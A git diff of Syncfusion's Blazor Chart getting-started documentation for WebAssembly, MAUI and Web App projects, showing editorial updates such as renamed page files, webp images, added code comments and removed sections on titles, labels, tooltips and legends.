-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/index.html** file (this is the main HTML entry point of your WebAssembly application).
 
 ```html
 
@@ -144,11 +146,12 @@ N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documen
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfChart is the root container component for the chart -->
 <SfChart>
 
 </SfChart>
@@ -158,45 +161,25 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart Component](images/getting-started/blazor-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart Component](images/getting-started/blazor-chart.webp)" %}
 
 ## Populate Blazor chart with data
 
-To bind data for the chart component, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-public class SalesInfo
-{
-    public string Month { get; set; }
-    public double SalesValue { get; set; }
-}
-
-public List<SalesInfo> Sales = new List<SalesInfo>
-{
-    new SalesInfo { Month = "Jan", SalesValue = 35 },
-    new SalesInfo { Month = "Feb", SalesValue = 28 },
-    new SalesInfo { Month = "Mar", SalesValue = 34 },
-    new SalesInfo { Month = "Apr", SalesValue = 32 },
-    new SalesInfo { Month = "May", SalesValue = 40 },
-    new SalesInfo { Month = "Jun", SalesValue = 32 },
-    new SalesInfo { Month = "Jul", SalesValue = 35 }
-};
-
-{% endhighlight %}
-{% endtabs %}
+To bind data for the chart component, you can assign an IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
 
-Now, map the data fields  `Month` and `Sales` to the series [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_YName) properties, then set the data to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property, and the [chart type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Type) to **Column** because we will be viewing the data in a column chart.
+Map the data fields `Month` and `SalesValue` to the series [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_YName) properties, then set the data to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property, and the [chart type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Type) to **Column** because we will be viewing the data in a column chart.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Charts
 
 <SfChart>
+    <!-- ChartPrimaryXAxis configures the X-axis properties such as value type and labels -->
     <ChartPrimaryXAxis ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
+    <!-- ChartSeriesCollection contains one or more data series to be plotted on the chart -->
     <ChartSeriesCollection>
+        <!-- ChartSeries defines a data series with its data source and axis mappings -->
         <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
         </ChartSeries>
     </ChartSeriesCollection>
@@ -224,96 +207,7 @@ Now, map the data fields  `Month` and `Sales` to the series [XName](https://help
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBTNiLezckHqsGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart](images/getting-started/blazor-chart-column.png)" %}
-
-## Add titles
-
-Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfChart.html#Syncfusion_Blazor_Charts_SfChart_Title) property, you can add a title to the chart and the axes to provide the user with quick information about the data plotted in the chart.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBJjihozcpDsXHf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Title](images/getting-started/blazor-chart-title.png)" %}
-
-## Add data label
-
-You can add data labels to improve the readability of the chart. This can be achieved by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabel.html#Syncfusion_Blazor_Charts_ChartDataLabel_Visible) property to **true** in the [ChartDataLabel](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartDataLabel.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-            <ChartMarker>
-                <ChartDataLabel Visible="true"></ChartDataLabel>
-            </ChartMarker>
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVpjMhIzmJRkHwA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with DataLabel](images/getting-started/blazor-chart-data-label.png)" %}
-
-## Enable Tooltip
-
-When space constraints prevent you from displaying information using data labels, the tooltip comes in handy. The tooltip can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipSettings.html#Syncfusion_Blazor_Charts_ChartTooltipSettings_Enable) property in [ChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartTooltipSettings.html) to **true**.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartTooltipSettings Enable="true"></ChartTooltipSettings>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjVTNChepGIwhetf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Tooltip](images/getting-started/blazor-chart-tooltip.png)" %}
-
-## Enable legend
-
-You can use legend for the chart by setting the [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendSettings.html#Syncfusion_Blazor_Charts_ChartLegendSettings_Visible) property to **true** in [ChartLegendSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartLegendSettings.html). The legend name can be changed by using the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Name) property in the series.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartLegendSettings Visible="true"></ChartLegendSettings>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" Name="Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrTDCLIpQHyGNEq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart with Legend](images/getting-started/blazor-chart-legend.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBTNiLezckHqsGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart](images/getting-started/blazor-chart-column.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Chart)
 
diff --git a/blazor/chart/getting-started-with-maui-app.md b/blazor/chart/getting-started-with-maui-app.md
index bfc940354b..3fd531444b 100644
--- a/blazor/chart/getting-started-with-maui-app.md
+++ b/blazor/chart/getting-started-with-maui-app.md
@@ -7,9 +7,9 @@ control: Chart
 documentation: ug
 ---
 
-# Getting Started with Blazor Chart
+# Getting Started with Blazor Chart Component in Blazor MAUI App
 
-This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component into your Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -37,15 +37,26 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+
+{% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
+
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
+
+{% endhighlight %}
+{% endtabs %}
+
 {% endtabcontent %}
 
 {% endtabcontents %}
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}).
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Alternatively, run the following command in the Package Manager Console to achieve the same.
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -57,10 +68,12 @@ Install-Package Syncfusion.Blazor.Charts -Version {{ site.releaseversion }}
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
 After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
 
@@ -70,67 +83,51 @@ After the package is installed, open the **~/_Imports.razor** file and import th
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/index.html** file (this is the main HTML entry point of your MAUI Blazor application).
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-    //Blazor Chart Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Charts/scripts/sf-chart.min.js" type="text/javascript"></script> -->
-</head>
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor Chart component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfChart is the root container component for the chart -->
 <SfChart>
 
 </SfChart>
@@ -138,21 +135,21 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
-![Blazor Chart Component](images/blazor-chart-maui-app.png)
+![Blazor Chart Component](images/blazor-chart-maui-app.webp)
 
-### How to Run the Sample on Android
+### How to run the sample on android
 
 To run the Blazor Chart in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
-Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
+Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch the Android emulator.
 
 N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
-![Blazor Chart Component](images/getting-started/blazor-chart.png)
+![Blazor Chart Component](images/getting-started/blazor-chart.webp)
 
 ## See also
 
diff --git a/blazor/chart/getting-started-with-web-app.md b/blazor/chart/getting-started-with-web-app.md
index c858880808..d6dc16df95 100644
--- a/blazor/chart/getting-started-with-web-app.md
+++ b/blazor/chart/getting-started-with-web-app.md
@@ -7,9 +7,9 @@ component: Chart
 documentation: ug
 ---
 
-# Getting Started with Blazor Chart Component in Web App
+# Getting Started with Blazor Chart Component in Blazor Web App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart](https://www.syncfusion.com/blazor-components/blazor-charts) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -44,11 +44,17 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -76,12 +82,19 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorApp -int Auto
 cd BlazorApp
-cd BlazorApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
-This command creates new Blazor Web App and places it in a new directory called `BlazorApp` inside your current location. See [Create Blazor app topic](https://dotnet.microsoft.com/en-us/learn/aspnet/blazor-tutorial/create) and [dotnet new CLI command](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?pivots=linux-macos&view=aspnetcore-8.0) topics for more details.
+
+This command creates a new Blazor Web App and places it in a new directory called `BlazorApp` inside your current location. See the [Create a Blazor App](https://dotnet.microsoft.com/en-us/learn/aspnet/blazor-tutorial/create) and [dotnet new CLI command](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?pivots=linux-macos&view=aspnetcore-8.0) topics for more details.
+
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
 
 {% endtabcontent %}
 
@@ -91,7 +104,7 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following command in the Package Manager Console to achieve the same.
 
@@ -111,6 +124,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the package is installed, open the **~/_Imports.razor** file from the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -122,7 +137,7 @@ After the package is installed, open the **~/_Imports.razor** file from the clie
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -140,7 +155,7 @@ N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, registe
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/Components/App.razor** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
@@ -152,14 +167,14 @@ N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documen
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/Home.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveAuto
 
 {% endhighlight %}
@@ -168,6 +183,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfChart is the root container component for the chart -->
 <SfChart>
 
 </SfChart>
@@ -177,125 +193,51 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart Component](images/getting-started/blazor-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzNsLepwXKBvNw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Chart Component](images/getting-started/blazor-chart.webp)" %}
 
 ## Populate Blazor chart with data
 
-To bind data for the chart component, you can assign a IEnumerable object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-public class SalesInfo
-{
-    public string Month { get; set; }
-    public double SalesValue { get; set; }
-}
-
-public List<SalesInfo> Sales = new List<SalesInfo>
-{
-    new SalesInfo { Month = "Jan", SalesValue = 35 },
-    new SalesInfo { Month = "Feb", SalesValue = 28 },
-    new SalesInfo { Month = "Mar", SalesValue = 34 },
-    new SalesInfo { Month = "Apr", SalesValue = 32 },
-    new SalesInfo { Month = "May", SalesValue = 40 },
-    new SalesInfo { Month = "Jun", SalesValue = 32 },
-    new SalesInfo { Month = "Jul", SalesValue = 35 }
-};
-
-{% endhighlight %}
-{% endtabs %}
-
-Now, map the data fields  `Month` and `Sales` to the series [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_YName) properties, then set the data to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_DataSource) property, and the [chart type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.ChartSeries.html#Syncfusion_Blazor_Charts_ChartSeries_Type) to **Column** because we will be viewing the data in a column chart.
-
-## Add titles
-
-Using the [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfChart.html#Syncfusion_Blazor_Charts_SfChart_Title) property, you can add a title to the chart and the axes to provide the user with quick information about the data plotted in the chart.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfChart Title="Sales Analysis">
-    <ChartPrimaryXAxis Title="Month" ValueType="Syncfusion.Blazor.Charts.ValueType.Category"></ChartPrimaryXAxis>
-    <ChartPrimaryYAxis Title="Sales in Dollar"></ChartPrimaryYAxis>
-    <ChartSeriesCollection>
-        <ChartSeries DataSource="@Sales" XName="Month" YName="SalesValue" Type="ChartSeriesType.Column">
-        </ChartSeries>
-    </ChartSeriesCollection>
-</SfChart>
-
-{% endhighlight %}
-{% endtabs %}
-
